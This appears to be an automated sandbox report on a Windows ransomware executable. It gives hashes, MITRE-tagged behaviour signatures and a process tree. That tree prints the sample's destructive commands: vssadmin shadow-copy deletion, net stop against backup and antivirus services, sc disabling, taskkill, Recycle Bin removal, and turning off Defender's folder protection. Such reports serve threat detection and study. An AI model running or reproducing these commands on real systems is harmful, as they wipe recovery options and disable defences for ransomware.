cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-02-2024 14:29

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (83) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1972 cmd.exe

pid	process
1972	cmd.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

net1.exevssadmin.exe

description ioc process

File opened (read-only) \??\F: net1.exe
File opened (read-only) \??\h: vssadmin.exe
File opened (read-only) \??\H: vssadmin.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

5 raw.githubusercontent.com
6 raw.githubusercontent.com
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1188 sc.exe
828 sc.exe
1184 sc.exe
2488 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened (read-only)	\??\F:	net1.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

pid	process
1188	sc.exe
828	sc.exe
1184	sc.exe
2488	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
2996	vssadmin.exe
1696	vssadmin.exe
684	vssadmin.exe
2000	vssadmin.exe
2456	vssadmin.exe
2696	vssadmin.exe
1464	vssadmin.exe
1624	vssadmin.exe
2700	vssadmin.exe
1528	vssadmin.exe
2672	vssadmin.exe
2384	vssadmin.exe
1872	vssadmin.exe
1744	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2100 taskkill.exe
1620 taskkill.exe
2200 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

1316 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2200 PING.EXE

pid	process
2100	taskkill.exe
1620	taskkill.exe
2200	taskkill.exe

pid	process
1316	notepad.exe

pid	process
2200	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exepowershell.exePING.EXEtaskkill.exetaskkill.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	2200	PING.EXE
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	2100	taskkill.exe
Token: SeBackupPrivilege	2576	vssvc.exe
Token: SeRestorePrivilege	2576	vssvc.exe
Token: SeAuditPrivilege	2576	vssvc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

2224 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

2224 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exevssadmin.exe

description	pid	process	target process
PID 2224 wrote to memory of 1112	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2224 wrote to memory of 1112	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2224 wrote to memory of 1112	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2224 wrote to memory of 1112	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2224 wrote to memory of 2000	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 2224 wrote to memory of 2000	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 2224 wrote to memory of 2000	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 2224 wrote to memory of 2000	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 2224 wrote to memory of 2352	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2352	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2352	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2352	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2668	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2668	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2668	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2668	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2756	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2756	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2756	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2756	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2768	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2768	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2768	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2768	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2712	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2712	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2712	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2712	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2684	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2684	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2684	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2684	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2524	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2524	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2524	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2524	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2992	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2992	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2992	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2992	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2720	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2720	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2720	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2720	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2812	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2812	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2812	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2812	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2596	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2596	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2596	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2596	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2732	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2732	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2732	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2732	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2672	2000	vssadmin.exe	net1.exe
PID 2000 wrote to memory of 2672	2000	vssadmin.exe	net1.exe
PID 2000 wrote to memory of 2672	2000	vssadmin.exe	net1.exe
PID 2000 wrote to memory of 2672	2000	vssadmin.exe	net1.exe
PID 2224 wrote to memory of 2604	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2604	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2604	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2224 wrote to memory of 2604	2224	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2224
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:2000
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:2712
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:2504
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2032
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2744
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:384
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:1296
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2356
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:332
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2428
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:1736
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1536
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:1936
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:2924
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:1668
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:2056
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1188
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:828
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2100
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2384
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:684
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1872
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2700
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2524
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:2444
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    - Enumerates connected drives
    PID:2672
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1528
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2456
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2996
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2672
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1696
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1744
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1464
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1624
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:2200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB838.bat
  2⤵
  PID:1988
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:1184
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:2488
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2876
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:2144
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1156
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:576
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2152
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2316
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2244
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:1316
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2852
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2964
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2052
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2432
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2608
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2552
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:2732
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2596
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2812
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2720
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2992
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2524
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2684
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:2756
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:2668
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2352
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1112
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1316
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Deletes itself
  PID:1972
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
